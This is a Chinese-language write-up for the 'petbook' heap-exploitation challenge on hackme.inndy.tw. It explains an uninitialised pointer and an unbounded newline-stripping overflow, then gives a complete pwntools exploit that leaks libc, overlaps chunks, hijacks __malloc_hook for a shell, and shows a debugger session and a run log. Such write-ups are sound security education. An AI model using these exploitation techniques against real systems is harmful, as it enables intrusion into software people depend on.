hackme.inndy.tw petbook writeup

本题原本有简单的方法,但是刚开始我没发现,所以用的方法比较复杂。

原题地址:https://hackme.inndy.tw/scoreboard/ 。 靶机环境是 glibc-2.23 。

源程序和相关文件下载:http://file.eonew.cn/ctf/pwn/petbook.zip

更快的方法

我先介绍来自pwn大佬carlstar的思路。

溢出点

void __fastcall user_create(char *username, char *password)
{
  User *v2; // rbp

  if ( user_find_by_name(username) )
  {
    __printf_chk(1LL, "User %s existed!\n", username);
  }
  else
  {
    v2 = (User *)malloc(0x218uLL);
    v2->uid = uid();
    strncpy(v2->username, username, 0x100uLL);
    strncpy(v2->password, password, 0x100uLL);
    v2->admin = 0;
    link_insert((link_list *)&userdb, (Post *)v2);
    puts("User created");
  }
}

user_create时没有初始化pet,可以用污染的chunk来设置pet,从而通过下面的代码实现任意读。

int user_loop()
{
  User *v0; // rbx
  const char *v1; // rdx
  unsigned int v2; // eax
  const char *v3; // rdx
  Pet *v4; // rax
  signed int v5; // eax

  v0 = current_user;
  if ( (magic ^ current_user->uid) & 0xFFFF0000 )
  {
    puts("corrupted object detected");
    exit(1);
  }
  puts(asc_401E7C);
  __printf_chk(1LL, "= Username: %s\n", v0->username);
  puts("= Password: ****************");
  v1 = "false";
  if ( v0->admin )
    v1 = "true";
  __printf_chk(1LL, &unk_401EC7, v1);
  v2 = link_count(&v0->post.next->next);
  __printf_chk(1LL, "= Post Cnt: %d\n", v2);
  v3 = "No";
  if ( v0->pet )
    v3 = "Yes";
  __printf_chk(1LL, &unk_401EE7, v3);
  v4 = v0->pet;
  if ( v4 )
  {
    __printf_chk(1LL, "= Pet Name: %s\n", v4->name);
    __printf_chk(1LL, "= Pet Type: %s\n", v0->pet->type);
  }
  ...
}

之后泄露出magic之后,利用pet_rename实现任意写。

void __cdecl pet_rename()
{
  User *v0; // rbx
  Pet *v1; // rdx

  v0 = current_user;
  if ( (current_user->uid ^ magic) & 0xFFFF0000 )
  {
    puts("corrupted object detected");
    exit(1);
  }
  v1 = current_user->pet;
  if ( v1 )
  {
    if ( (LODWORD(v1->uid) ^ magic) & 0xFFFF0000 )
    {
      puts("corrupted object detected");
      exit(1);
    }
    puts("Name your pet >>");
    read_data((char *)v0->pet->name, 16LL);
    stripnl((const char *)v0->pet->name);
  }
  else
  {
    puts("You don't have a pet");
  }
}

笨方法

这个是我自己做的,方法比较笨。

溢出点

char *__fastcall stripnl(const char *a1)
{
  char *v1; // rax

  if ( !a1 )
    return 0LL;
  v1 = strchr(a1, '\n');
  if ( v1 )
    *v1 = 0;
  return (char *)a1;
}

stripnl字符串可以将字符串后面字节为0x0a改为0x00,但是该函数,没有限制长度,所以存在溢出。

void __fastcall read_data(char *buf, __int64 length)
{
  __int64 v2; // rbx
  int v3; // eax

  if ( length )
  {
    v2 = 0LL;
    while ( 1 )
    {
      v3 = _IO_getc(stdin);
      if ( v3 == 10 || v3 == -1 )
        break;
      buf[++v2 - 1] = v3;
      if ( length == v2 )
        return;
    }
    buf[v2] = 0;
  }
}

read_data函数虽然为了null截断做了很好的防护,但是当输入的字符串长度为length,就没有办法null截断,因为没有null截断,我们可以读取到后面的内容。

思路

  1. 泄露libc
  2. 构造heap布局
  3. 劫持hook

泄露libc

New(0x160, 'hello\n') # 2

edit(2, 0x200, '0x200\n')
New(8, 'dddddddd') # 3

sh.sendlineafter(' >>\n', '2')
sh.recvuntil('dddddddd')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - 0x3c3b20
log.success('libc_addr: ' + hex(libc_addr))

由于edit函数内部用的是realloc,所以申请的0x160chunk就会被freeunsorted bin中,那么自然会有main_arena指针残余,我们只要让输入的内容不被null截断即可泄露出该地址,那么只需要把Newsize设置为8则正好。

构造heap布局

这个就比较复杂了,用到的是stripnl函数的没有长度限制的漏洞。最终效果是chunk overlapping

先看看Post的布局:

00000000 Post            struc ; (sizeof=0x110, mappedto_7)
00000000 uid             dd ?
00000004 title           db 256 dup(?)
00000104 field_104       dd ?
00000108 content         dq ?
00000110 Post            ends

user_edit_post中,会对post->title进行stripnl操作,而该操作会影响到post->content指针,该指针指向heap

int user_edit_post()
{
  ...
  puts("New title >>");
  read_data(v3->title, 256LL);
  stripnl(v3->title);
  ...
}

所以我们可以通过使用污染的chunk来使得post->field_104的值不为空,那么stripnl函数便可以修改到post->content

post->content指向的heap地址的为0x.......0a..时(点为任意十六进制),则在stripnl操作中就会被修改为0x.......00..。所以我们只需要提前在这个地址布置好heap结构即可。

New(0x118, 'e' * 0x118) # 4
New(0x18, '\n') # 5
New(0x18, '\n') # 6
New(0x18, '\n') # 7
New(0x18, '\n') # 8
New(0x1f8, 'f' * 0x18 + p64(0x1e1) + '\n') # 9

上面脚本中,第9个就是布置地址为0x.......0020fake chunksize

edit(5, 0xf8, '\n')
edit(6, 0x58, '\n')
edit(7, 0x98, '\n')
edit(8, 0xf8, '\n')

edit(4, 0x4f0, '\n')
# pause()
New(0x68, '0x68\n') # 10
edit(10, 0x208, '\n')

通过上面一系列的布局之后,则使得第10个postcontent地址则刚好为0x........a20,受随机话影响,当地址为0x.......0a20则会导致溢出,所以几率是1/16

下面是调试结果:

Breakpoint 1, 0x0000000000400c84 in stripnl ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────────────[ REGISTERS ]───────────────────────────────────────────────────
 RAX  0x100
 RBX  0xf4f830 ◂— 0x6363636308a8000a /* '\n' */
 RCX  0x7f745b87a790 (_IO_stdfile_0_lock) ◂— 0x0
 RDX  0x63
 RDI  0xf4f834 ◂— 0x6363636363636363 ('cccccccc')

...

Breakpoint stripnl
pwndbg> x/48gx 0xf4f820
0xf4f820:   0x0000000000000000  0x0000000000000121
0xf4f830:   0x6363636308a8000a  0x6363636363636363
0xf4f840:   0x6363636363636363  0x6363636363636363
0xf4f850:   0x6363636363636363  0x6363636363636363
0xf4f860:   0x6363636363636363  0x6363636363636363
0xf4f870:   0x6363636363636363  0x6363636363636363
0xf4f880:   0x6363636363636363  0x6363636363636363
0xf4f890:   0x6363636363636363  0x6363636363636363
0xf4f8a0:   0x6363636363636363  0x6363636363636363
0xf4f8b0:   0x6363636363636363  0x6363636363636363
0xf4f8c0:   0x6363636363636363  0x6363636363636363
0xf4f8d0:   0x6363636363636363  0x6363636363636363
0xf4f8e0:   0x6363636363636363  0x6363636363636363
0xf4f8f0:   0x6363636363636363  0x6363636363636363
0xf4f900:   0x6363636363636363  0x6363636363636363
0xf4f910:   0x6363636363636363  0x6363636363636363
0xf4f920:   0x6363636363636363  0x6363636363636363
0xf4f930:   0x6565656563636363  0x0000000000f50a30
0xf4f940:   0x0000000000000120  0x0000000000000021
0xf4f950:   0x0000000000f4f4b0  0x0000000000f4f710
0xf4f960:   0x0000000000000000  0x0000000000000121
0xf4f970:   0x6363636308a80005  0x6363636363636363
0xf4f980:   0x6363636363636363  0x6363636363636363
0xf4f990:   0x6363636363636363  0x6363636363636363

上面的调试信息结果已经很明显了,rdi(第一个参数)为0xf4f834,由于没有null截断,最终将修改0xf4f930 + 8上的0x0000000000f50a300x0000000000f50030(post->content指针)。

在看看0x0000000000f50030地址的情况,由于之前我们已经布置好了栈结构,所以这里会chunk overlap

其布局如下:

pwndbg> x/16gx 0x0000000000f50030-0x30
0xf50000:   0x0000000000000000  0x0000000000000201
0xf50010:   0x6666666666666666  0x6666666666666666
0xf50020:   0x6666666666666666  0x00000000000001e1
0xf50030:   0x0000000000000000  0x0000000000000000
0xf50040:   0x0000000000000000  0x0000000000000000
0xf50050:   0x0000000000000000  0x0000000000000000
0xf50060:   0x0000000000000000  0x0000000000000000
0xf50070:   0x0000000000000000  0x0000000000000000

最后就是通常的劫持hook操作。

完整脚本

受随机化影响,概率是1/16

#!/usr/bin/python2
# -*- coding:utf-8 -*-

from pwn import *
import os
import struct
import random
import time
import sys
import signal

salt = ''

def clear(signum=None, stack=None):
    print('Strip  all debugging information')
    os.system('rm -f /tmp/gdb_symbols{}* /tmp/gdb_pid{}* /tmp/gdb_script{}*'.replace('{}', salt))
    exit(0)

for sig in [signal.SIGINT, signal.SIGHUP, signal.SIGTERM]: 
    signal.signal(sig, clear)

# Create a symbol file for GDB debugging
try:
    gdb_symbols = '''
    #include <stdio.h>
    #include <stdlib.h>
    #include <sys/mman.h>

    void my_init(void) __attribute__((constructor));

    void my_init()
    {
        long long p = (long long)malloc(0xf8);
        free((char *)p);
        if((p & 0xf000) != 0xf000)
        {
            exit(-1);
        }
    }
    '''

    f = open('/tmp/gdb_symbols{}.c'.replace('{}', salt), 'w')
    f.write(gdb_symbols)
    f.close()
    os.system('gcc -g  -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so '.replace('{}', salt))
    # os.system('gcc -g -m32 -shared /tmp/gdb_symbols{}.c -o /tmp/gdb_symbols{}.so'.replace('{}', salt))
except Exception as e:
    print(e)

context.arch = 'amd64'
# context.arch = 'i386'
# context.log_level = 'debug'
execve_file = './petbook'
# sh = process(execve_file, env={'LD_PRELOAD': '/tmp/gdb_symbols{}.so'.replace('{}', salt)})
sh = process(execve_file)
# sh = remote('hackme.inndy.tw', 7710)
elf = ELF(execve_file)
libc = ELF('./libc-2.23.so')
# libc = ELF('/lib/i386-linux-gnu/libc.so.6')

# Create temporary files for GDB debugging
try:
    gdbscript = '''
    # b *0x400F89
    b stripnl
    # b malloc
    '''

    f = open('/tmp/gdb_pid{}'.replace('{}', salt), 'w')
    f.write(str(proc.pidof(sh)[0]))
    f.close()

    f = open('/tmp/gdb_script{}'.replace('{}', salt), 'w')
    f.write(gdbscript)
    f.close()
except Exception as e:
    print(e)

def New(size, content):
    sh.sendlineafter(' >>\n', '1')
    sh.sendafter('Title >>\n', 'c' * 256)
    sh.sendlineafter('Content Length >>\n', str(size))
    sh.sendafter('Content >>\n', content)

def edit(id, size, content):
    sh.sendlineafter(' >>\n', '3')
    sh.sendlineafter('Post id >>\n', str(id))
    sh.sendafter('New title >>\n', 'c' * 256)
    sh.sendlineafter('New content size >>\n', str(size))
    sh.sendafter('New Content >>\n', content)

# pause()

sh.sendlineafter(' >>\n', '1')
sh.sendlineafter('Username >>\n', '1' * 20 + p64(0x61))
sh.sendlineafter('Password >>\n', '1')

sh.sendlineafter(' >>\n', '2')
sh.sendlineafter('Username >>\n', '1' * 20 + p64(0x61))
sh.sendlineafter('Password >>\n', '1')

New(0x160, 'hello\n') # 2

edit(2, 0x200, '0x200\n')
New(8, 'dddddddd') # 3

sh.sendlineafter(' >>\n', '2')
sh.recvuntil('dddddddd')
result = sh.recvline()[:-1]
main_arena_addr = u64(result.ljust(8, '\0')) - 88
log.success('main_arena_addr: ' + hex(main_arena_addr))

libc_addr = main_arena_addr - libc.symbols['__malloc_hook'] - 0x10
log.success('libc_addr: ' + hex(libc_addr))

New(0x118, 'e' * 0x118) # 4
New(0x18, '\n') # 5
New(0x18, '\n') # 6
New(0x18, '\n') # 7
New(0x18, '\n') # 8
New(0x1f8, 'f' * 0x18 + p64(0x1e1) + '\n') # 9

edit(5, 0xf8, '\n')
edit(6, 0x58, '\n')
edit(7, 0x98, '\n')
edit(8, 0xf8, '\n')

edit(4, 0x4f0, '\n')
# pause()
New(0x68, '0x68\n') # 10
edit(10, 0x208, '\n')

edit(6, 0x68, '\n')
edit(6, 0x208, '\n')

edit(9, 0x1f8, 'y' * 0x20 + p64(main_arena_addr - 0x33) + '\n')
edit(9, 0x1f8, 'y' * 0x18 + '\x71\0\0\0\n')

New(0x68, '0x68\n') # 11
New(0x68, '/bin/sh\0'.ljust(0xb, 'z') + p64(libc_addr + libc.symbols['system']) + '\n') # 12
# pause()
sh.sendlineafter(' >>\n', '3')
sh.sendlineafter('Post id >>\n', str(12))
sh.sendafter('New title >>\n', 'c' * 256)
sh.sendlineafter('New content size >>\n', str(0x68))

sh.sendline('echo -n hello')
result = sh.recvn(5)
print(result)
if(result != 'hello'):
    raise Exception('no shell')
sh.sendline('cat flag')

sh.interactive()
clear()

运行实例

ex@Ex:~/test$ ./exp.sh exp.py 

...

times 9

[+] Starting local process './petbook': pid 21975
[*] '/home/ex/test/petbook'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)
    FORTIFY:  Enabled
[*] '/home/ex/test/libc-2.23.so'
    Arch:     amd64-64-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
[+] main_arena_addr: 0x7f508231db20
[+] libc_addr: 0x7f5081f5a000
[+] one_gadget: 0x7f5081f9f25a
hello
[*] Switching to interactive mode
cat: flag: No such file or directory
$ id
uid=1000(ex) gid=1000(ex) groups=1000(ex),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),112(lpadmin),127(sambashare),129(wireshark),132(docker)
$